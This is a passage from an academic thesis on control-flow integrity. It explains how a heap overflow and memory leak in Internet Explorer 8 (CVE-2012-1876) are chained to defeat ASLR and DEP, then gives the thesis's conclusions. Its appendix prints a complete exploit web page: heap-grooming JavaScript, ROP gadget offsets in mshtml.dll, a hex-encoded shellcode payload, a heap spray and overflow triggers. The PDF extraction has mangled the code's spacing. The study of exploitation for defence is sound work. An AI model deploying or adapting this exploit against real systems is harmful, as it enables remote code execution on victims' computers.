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Figure 4.2: Heap instance after the overflow of the button’s buffer. The overflowed

area is showed in red color.

Now, we will explain how we can take advantage of the buffer overflow to

read the VFT pointer. In fact, all we have to do is modify the heap layout in

such a way that there is a basic string between the buffer and the button’s

allocated memory. Figure 4.3 provides a screenshot of the aforementioned

action. By triggering the overflow we can overwrite the first 4 bytes of the

basic string which represent its length. This step is demonstrated in Figure

4.4. Then, we increase its length accordingly in order to reach the VFT

pointer in the button’s memory. Lastly, by reading the basic string we acquire

the VFT pointer, and we compute the base address of the mshtml.dll as

explained before.

Figure 4.3: Heap instance before we overflow the button’s buffer.
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Figure 4.4: Heap instance after we overwrite the basic string’s length by triggering

the overflow. The overflowed area is showed in red color.

Bypass DEP

When DEP is in place, one is not in position to execute any injected code.

However, since we have resolved the address of the mshtml.dll module, we

can perform a code-reuse attack using its code. First, we have to construct

a ROP payload that disables DEP using the VirtualProtect function. Since

we don’t have a direct way to manipulate the stack in this program, we will

inject our payload into the heap using the same buffer overflow and overwrite

the VFT pointer. The program will eventually use this pointer and will turn

execution into our payload. However, this requires to use a technique called

stack pivot that will make the program execute our ROP payload which is

stored into the heap. This situation is depicted in Figure 4.5.
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Figure 4.5: Heap instance and the target of the overwritten VFT pointer. The

overflowed area is showed in red color.

The stack pivot technique is used by most real-world exploits aiming at

moving the stack pointer to the address of the attack’s payload (see Figure

4.6). This can be done easily by using a ROP gadget that resides in the

mshtml.dll. At this point, we will not explain in depth the functionality

of our payload as we will stay on the theoretical part. However, the attack

code is available in Appendix A. After, the stack pivot gadget succeeds,

the program will continue executing our ROP payload placed in the heap.

Concluding, by calling the VirtualProtect function, we disable DEP, and the

program continues by executing our shellcode placed after the ROP payload.
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Figure 4.6: The corruption of the stack pointer due to the stack pivot gadget

execution.

Note that the whole attack requires the heap to have a specific layout.

In order to form the required layout, we use a technique called Heap Feng

Shui [53]. This technique is usually implemented via Javascript which offers

a sufficient and practical API for handling dynamically allocated memory.

4.3 Attacking IE8 under CFI

In Section 2.7 we explained how CFI enforces checks into program code and

prevents any abnormal behavior. The CFI checks inserted into the program

can make the construction of the attack payload much harder as we dis-

cussed in Section 4.1. In particular, to disable DEP under CFI it would

require much longer gadget-chains and gadgets as well. However, a large
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enough code address space makes the attacker’s work much easier since he

has more available code to use. For dealing with this drawback one may use

ASLR to conceal our code address from the attacker. Unfortunately, memory

leaks can negate such protection schemes as shown in the referred Internet

Explorer version. It is also worth mentioning that there are several CFI

implementations [3, 34] which can prevent calls to sensitive functions, like

VirtualProtect that we used to disable DEP. Such implementations reserve

an ID for such sensitive calls as shown in Table 4.1.

Table 4.1: Allowable transfers in different CFI implementations [2].
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Chapter 5

Conclusions

Several mechanisms have been proposed in order to mitigate modern soft-

ware exploitation techniques. Some of them are based on secrets, hardware

features or runtime detection. However, although the software security com-

munity has significantly raised the bar for attackers, but it is still possible

to exploit applications due to existing software vulnerabilities. In a perfect

world, such vulnerabilities wouldn’t exist, but due to programming errors or

type-unsafe languages, code flaws are still out there and are usually inherited

by latest software.

A class of critical security flaws are memory leaks, also knows as memory dis-

closures, which give attackers a sufficient leverage to acquire knowledge upon

the memory space of the program. A real-world memory leak was showed

in Section 4.2 which was exploited in combination with a heap-based buffer

overflow with the aim to exploit Internet Explorer 8 under DEP and ASLR.

In this thesis, we emphasized in CFI, a software mechanism that protects

against software attacks by offering non-probabilistic protection. However,

CFI requires an ahead-of-time code analysis and has certain limitations. In

Chapter 3 we elaborated on its limitations and we referred to corresponding
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approaches that overcome them. It is true that the interest towards CFI is

growing during the last years due to its potential. A key contribution of CFI

is that it can be enforced into existing software. However, there are CFI im-

plementations that require the source code in order to harden the underlying

software, but this is suitable in some cases as well. CFI does not protect the

data of the program neither detects the attack after it has been successful,

but instead it detects an attack while it unfolds and prevents the execution

of malicious code.

The research community and other interested parties hope for CFI hardware

support, but this requires a respectable amount of time and an efficient ef-

fort from corresponding vendors. As for the software level, the community

seems to turn into runtime CFI implementations (some of them mentioned

in Chapter 3). By runtime CFI we mean, that the analysis is not executed

offline, but rather when the program is loaded. This dynamic approach has

more potential since one is able to overcome some of the basic CFI limitations

(e.g., dynamic loading and JIT compilation) during load-time code analysis.

However, this incurs some significant performance overhead and we may en-

force a looser form of CFI in dynamic approaches as well. For this reason,

we expect from future CFI work not only to protect as many indirect control

flow transfer can be extracted, but pave the way toward more lightweight

CFI mechanisms.

5.1 Future work

The aim of this thesis is to introduce the reader to CFI and refer to its limi-

tations and how they can be overcomed. Based on the results of the current

thesis a more extensive analysis of existing CFI approaches can be done in
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the future. Given that the main goal is to secure software, the comparison of

existing approaches is a need. Unfortunately, this requires serious effort since

every CFI-related solution aims to secure different type of software and each

approaches gives emphasis to a different type of vulnerability. We take this

as a challenge in order to categorize and evaluate each CFI implementation

and present their tradeoffs in a more detailed way.

37



Appendices

38



Appendix A

Internet Explorer 8 Attack

Code

1 < !−−

2 ∗∗ Exp l o i t Title : I n t e rne t Exp lorer 8 Fixed Col Span ID f u l l ASLR & DEP

bypass

3 ∗∗ Af fec t ed Software : In t e rne t Exp lorer 8

4 ∗∗ Vu ln e r a b i l i t y : Fixed Col Span ID

5 ∗∗ CVE: CVE−2012−1876

6

7 ! ! Cred i t s go to h t t p s ://www. e x p l o i t−db . com/ e x p l o i t s /24017/

8

9 −−>

10

11 <html>

12 <body>

13 <div id=” e v i l ”>

14 </div>

15 <table style=” table−l ayout : f i x e d ”>

16 <col id=”132” width=”41” span=”9”>

17 </col>

18 </table>

19 <script language=’ j ava s c r i p t ’>

20

21 //We are making some s t r i n g s that w i l l be used l a t e r

22 var f r e e=”EEEE” ;
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23 whi l e ( f r e e . l ength<500)

24 f r e e+=f r e e ;

25

26 var s t r i n g 1=”AAAA” ;

27 whi l e ( s t r i n g 1 . length <500)

28 s t r i n g 1+=s t r i n g 1 ;

29

30 var s t r i n g 2=”BBBB” ;

31 whi l e ( s t r i n g 2 . length <500)

32 s t r i n g 2+=s t r i n g 2 ;

33

34 //We dec l a r e three ar rays that w i l l hold button ob j e c t s

35 var f r=new Array ( ) ;

36 var a l=new Array ( ) ;

37 var bl=new Array ( ) ;

38

39 var d i v c on t a i n e r=document . getElementById ( ” e v i l ” ) ;

40 d i v c on t a i n e r . style . cssText=” d i sp l ay : none” ;

41

42 //Heap Feng Shui techn ique s t a r t s here

43

44 //We a l l o c a t e heap memory for the button ob j e c t s and f i l l them with

the p r ev i ou s l y c rea ted s t r i n g s .

45 for (var i=0; i <500; i+=2){

46 // the heap b locks must be o f 125 cha ra c t e r s each in order to

s u c c e s s f u l l y mount the attack

47 //(0 x100−6)/2=125

48 f r [ i ]= f r e e . sub s t r i ng (0 , ( 0 x100−6)/2) ;

49 a l [ i ]= s t r i n g 1 . sub s t r i ng (0 , ( 0 x100−6)/2) ;

50 b l [ i ]= s t r i n g 2 . sub s t r i ng (0 , ( 0 x100−6)/2) ;

51 //we add each button object i n t o the html page layout

52 var obj=document . createElement ( ”button” ) ;

53 d i v c on t a i n e r . appendChild ( obj ) ;

54 }

55

56 //We f r e e the needed heap b locks

57 for (var i=200; i <500; i+=2){

58 f r [ i ]= nu l l ;

59 Col lectGarbage ( ) ; // can a l s o be executed only once out a f t e r the

loop

60 }
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61

62 func t i on heapspray ( cbutton layout ) {

63 /∗This func t i on con s t ru c t s a ROP payload based on mshtml . d l l ,

i n s e r t s our s h e l l c o d e in to the heap and d i s ab l e DEP for the

she l l c ode ’ s memory pages .∗/

64 Col lectGarbage ( ) ;

65 var rop = cbutton layout + 4161 ; // RET

66 var rop = rop . t oS t r i ng (16) ;

67 var rop1 = rop . sub s t r i ng (4 , 8 ) ;

68 var rop2 = rop . sub s t r i ng (0 , 4 ) ; // } RET

69

70 var rop = cbutton layout + 11360; // POP EBP

71 var rop = rop . t oS t r i ng (16) ;

72 var rop3 = rop . sub s t r i ng (4 , 8 ) ;

73 var rop4 = rop . sub s t r i ng (0 , 4 ) ; // } RET

74

75 var rop = cbutton layout + 111675; // XCHG EAX,ESP

76 var rop = rop . t oS t r i ng (16) ;

77 var rop5 = rop . sub s t r i ng (4 , 8 ) ;

78 var rop6 = rop . sub s t r i ng (0 , 4 ) ; // } RET

79

80 var rop = cbutton layout + 12377; // POP EBX

81 var rop = rop . t oS t r i ng (16) ;

82 var rop7 = rop . sub s t r i ng (4 , 8 ) ;

83 var rop8 = rop . sub s t r i ng (0 , 4 ) ; // } RET

84

85 var rop = cbutton layout + 642768; // POP EDX

86 var rop = rop . t oS t r i ng (16) ;

87 var rop9 = rop . sub s t r i ng (4 , 8 ) ;

88 var rop10 = rop . sub s t r i ng (0 , 4 ) ; // } RET

89

90 var rop = cbutton layout + 12201; // POP ECX −−> Changed

91 var rop = rop . t oS t r i n g (16) ;

92 var rop11 = rop . s u b s t r i n g (4 ,8) ;

93 var rop12 = rop . s u b s t r i n g (0 ,4) ; // } RET

94

95 var rop = cbu t t on l ayou t + 5504544; // Writab le l o c a t i on

96 var rop = rop . t oS t r i n g (16) ;

97 var wr i t a b l e 1 = rop . s u b s t r i n g (4 ,8) ;

98 var wr i t a b l e 2 = rop . s u b s t r i n g (0 ,4) ; // } RET

99
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100 var rop = cbu t t on l ayou t + 12462; // POP EDI

101 var rop = rop . t oS t r i n g (16) ;

102 var rop13 = rop . s u b s t r i n g (4 ,8) ;

103 var rop14 = rop . s u b s t r i n g (0 ,4) ; // } RET

104

105 var rop = cbu t t on l ayou t + 12043; // POP ESI −−> changed

106 var rop = rop . t oS t r i ng (16) ;

107 var rop15 = rop . sub s t r i ng (4 , 8 ) ;

108 var rop16 = rop . sub s t r i ng (0 , 4 ) ; // } RET

109

110 var rop = cbutton layout + 63776 ; // JMP EAX

111 var rop = rop . t oS t r i ng (16) ;

112 var jmpeax1 = rop . sub s t r i ng (4 , 8 ) ;

113 var jmpeax2 = rop . sub s t r i ng (0 , 4 ) ; // } RET

114

115 var rop = cbutton layout + 85751 ; // POP EAX

116 var rop = rop . t oS t r i ng (16) ;

117 var rop17 = rop . sub s t r i ng (4 , 8 ) ;

118 var rop18 = rop . sub s t r i ng (0 , 4 ) ; // } RET

119

120 var rop = cbutton layout + 4936 ; // V i r tua lPro t e c t ( )

121 var rop = rop . t oS t r i ng (16) ;

122 var vp1 = rop . sub s t r i ng (4 , 8 ) ;

123 var vp2 = rop . sub s t r i ng (0 , 4 ) ; // } RET

124

125 var rop = cbutton layout + 454843; // MOV EAX,DWORD PTR DS : [EAX]

126 var rop = rop . t oS t r i ng (16) ;

127 var rop19 = rop . sub s t r i ng (4 , 8 ) ;

128 var rop20 = rop . sub s t r i ng (0 , 4 ) ; // } RET

129

130 var rop = cbutton layout + 234657; // PUSHAD

131 var rop = rop . t oS t r i ng (16) ;

132 var rop21 = rop . sub s t r i ng (4 , 8 ) ;

133 var rop22 = rop . sub s t r i ng (0 , 4 ) ; // } RET

134

135

136 var rop = cbutton layout + 408958; // PUSH ESP

137 var rop = rop . t oS t r i ng (16) ;

138 var rop23 = rop . sub s t r i ng (4 , 8 ) ;

139 var rop24 = rop . sub s t r i ng (0 , 4 ) ; // } RET

140
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141 var s h e l l c o d e = unescape ( ”%u4141%u4141%u4242%u4242%u4343%u4343” )

; // PADDING

142 sh e l l c o d e+= unescape ( ”%u4141%u4141%u4242%u4242%u4343%u4343” ) ; //

PADDING

143 sh e l l c o d e+= unescape ( ”%u4141%u4141” ) ; // PADDING

144

145 sh e l l c o d e+= unescape ( ”%u”+rop1+”%u”+rop2 ) ; // RETN

146 sh e l l c o d e+= unescape ( ”%u”+rop3+”%u”+rop4 ) ; // POP EBP # RETN

147 sh e l l c o d e+= unescape ( ”%u”+rop5+”%u”+rop6 ) ; // XCHG EAX,ESP #

RETN

148

149 // Disab le DEP

150 sh e l l c o d e+= unescape ( ”%u”+rop3+”%u”+rop4 ) ; // POP EBP

151 sh e l l c o d e+= unescape ( ”%u”+rop3+”%u”+rop4 ) ; // POP EBP

152 sh e l l c o d e+= unescape ( ”%u”+rop7+”%u”+rop8 ) ; // POP EBP

153 sh e l l c o d e+= unescape ( ”%u1024%u0000” ) ; // S i z e 0x00001024

154 s h e l l c o d e+= unescape ( ”%u”+rop9+”%u”+rop10 ) ; // POP EDX

155 sh e l l c o d e+= unescape ( ”%u0040%u0000” ) ; // 0x00000040

156 s h e l l c o d e+= unescape ( ”%u”+rop11+”%u”+rop12 ) ; // POP ECX

157 sh e l l c o d e+= unescape ( ”%u”+wr i tab l e1+”%u”+wr i tab l e2 ) ; // Writable

Locat ion

158 s h e l l c o d e+= unescape ( ”%u”+rop13+”%u”+rop14 ) ; // POP EDI

159 sh e l l c o d e+= unescape ( ”%u”+rop1+”%u”+rop2 ) ; // RET

160 sh e l l c o d e+= unescape ( ”%u”+rop15+”%u”+rop16 ) ; // POP ESI

161 s h e l l c o d e+= unescape ( ”%u”+jmpeax1+”%u”+jmpeax2 ) ; // JMP EAX

162 sh e l l c o d e+= unescape ( ”%u”+rop17+”%u”+rop18 ) ; // POP EAX

163 sh e l l c o d e+= unescape ( ”%u”+vp1+”%u”+vp2 ) ; // V i r tua lPro t e c t ( )

164 s h e l l c o d e+= unescape ( ”%u”+rop19+”%u”+rop20 ) ; // MOV EAX,DWORD

PTR DS : [EAX]

165 s h e l l c o d e+= unescape ( ”%u”+rop21+”%u”+rop22 ) ; // PUSHAD

166 sh e l l c o d e+= unescape ( ”%u”+rop23+”%u”+rop24 ) ; // PUSH ESP

167 sh e l l c o d e+= unescape ( ”%u9090%u9090” ) ; // NOPs

168 sh e l l c o d e+= unescape ( ”%u9090%u9090” ) ; // NOPs

169 sh e l l c o d e+= unescape ( ”%u9090%u9090” ) ; // NOPs

170

171 //NOTE: the s h e l l c o d e can be changed

172 sh e l l c o d e+=unescape ( ”%ue8 fc%u0089%u0000%u8960%u31e5%u64d2%u528b”

+

173 ”%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a” +

174 ”%u f f 31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf ” +

175 ”%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001” +
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176 ”%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18” +

177 ”%u2058%ud301%u3ce3%u8b49%u8b34%ud601%u f f 31 ” +

178 ”%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03” +

179 ”%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66” +

180 ”%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489” +

181 ”%u2424%u5b5b%u5961%u515a%ue0 f f%u5f58%u8b5a” +

182 ”%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32 ” +

183 ”%u6854%u774c%u0726%ud5 f f%u90b8%u0001%u2900” +

184 ”%u54c4%u6850%u8029%u006b%ud5 f f%u5050%u5050” +

185 ”%u5040%u5040%uea68%udf0 f%u f f e 0%u89d5%u31c7” +

186 ”%u53db%u0268%u1100%u895c%u6ae6%u5610%u6857” +

187 ”%udbc2%u6737%ud5 f f%u5753%ub768%u38e9%u f f f f ” +

188 ”%u53d5%u5753%u7468%u3bec%u f f e 1%u57d5%uc789” +

189 ”%u7568%u4d6e%u f f 61%u68d5%u6d63%u0064%ue389” +

190 ”%u5757%u3157%u6af6%u5912%ue256%u66fd%u44c7” +

191 ”%u3c24%u0101%u448d%u1024%u00c6%u5444%u5650” +

192 ”%u5656%u5646%u564e%u5356%u6856%ucc79%u863f ” +

193 ”%ud5 f f%ue089%u564e%u f f 46%u6830%u8708%u601d” +

194 ”%ud5 f f%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5 f f ” +

195 ”%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72 ” +

196 ”%u006a%u f f 53%u41d5” ) ;

197

198 // Total spray should be 1000

199 var padding=unescape ( ”%u9090” ) ;

200 whi l e ( padding . l ength<1000)

201 padding=padding+padding ;

202 var padding=padding . subs t r (0 ,1000− s h e l l c o d e . l ength ) ;

203

204 s h e l l c o d e+=padding ;

205

206 whi l e ( s h e l l c o d e . length <100000)

207 s h e l l c o d e=sh e l l c o d e+sh e l l c o d e ;

208

209 var onemeg=sh e l l c od e . subs t r (0 ,64∗1024/2) ;

210

211 for ( i=0; i <14; i++){

212 onemeg+=sh e l l c o d e . subs t r (0 ,64∗1024/2) ;

213 }

214

215 onemeg+=sh e l l c o d e . subs t r (0 , (64∗1024/2) −(38/2) ) ;

216
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217 //We s t o r e the s h e l l c o d e in to the heap

218 var spray=new Array ( ) ;

219 for ( i=0; i <100; i++) {

220 spray [ i ]=onemeg . subs t r (0 , onemeg . l ength ) ;

221 }

222 }

223

224 func t i on s t r t o i n t ( s t r ) {

225 re turn s t r . charCodeAt (1 ) ∗0x10000 + s t r . charCodeAt (0 ) ;

226 }

227

228 func t i on l eak ( ) {

229 /∗This func t i on t r i g g e r s the over f l ow .

230 The bu f f e r o f the table object ove r f l ows the l ength o f a

pr ev i ou s l y a l l o c a t e d ba s i c string .∗/

231 var l e a k c o l=document . getElementById ( ”132” ) ;

232 l e a k c o l .width=”41” ;

233 l e a k c o l . span=”19” ;

234 }

235

236 func t i on g e t l e a k ( ) {

237 /∗This func t i on reads the ba s i c string whose l ength was

p r ev i ou s l y over f lowed , r e s u l t i n g in to read ing the value o f

the v i r t u a l f unc t i on table po in t e r o f the button object

which was placed next to the over f lowed ba s i c string .∗/

238 var s t r add r=s t r t o i n t ( b l [ 4 9 8 ] . s ub s t r i ng ( (0 x100−6)/2+11 ,(0 x100−6)

/2+13) ) ;

239 /∗ Since (a ) the randomized address o f the v i r t u a l f unc t i on table

i n s i d e the mshtml . d l l and (b) the r e a l address space o f

mshtml . d l l are both known , we can c a l c u l a t e the randomized

address o f msthml . d l l o f the t a r g e t program .∗/

240 s t r add r=st r addr −1410704;

241 var hex=s t r add r . t oS t r i ng (16) ;

242 // a l e r t ( hex ) ;

243 /∗Now that have f u l l knowledge upon the address space o f the

mshtml . d l l , ASLR has been bypassed for t h i s module and we

can use i t s code to cons t ruc t a ROP payload in order to

d i s ab l e DEP and execute our s h e l l c o d e .∗/

244 setTimeout ( func t i on ( ) {heapspray ( s t r add r ) } , 50) ;

245 }

246
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247 func t i on t r i g g e r o v e r f l ow ( ) {

248 //This func t i on t r i g g e r s the over f l ow again and there are

chances that our s h e l l c o d e w i l l be executed .

249 var e v i l c o l=document . getElementById ( ”132” ) ;

250 e v i l c o l .width=”1245880” ;

251 e v i l c o l . span=”44” ;

252 }

253

254 setTimeout ( func t i on ( ) { l e ak ( ) } , 400) ; // t r i g g e r over f l ow

255 setTimeout ( func t i on ( ) { g e t l e a k ( ) } , 450) ; // bypass ASLR, i n j e c t

s h e l l c o d e and d i s ab l e DEP

256 setTimeout ( func t i on ( ) { t r i g g e r o v e r f l ow ( ) } , 700) ; // t r i g g e r s over f l ow

again , chances to execute s h e l l c od e

257 </script>

258 </body>

259 </html>
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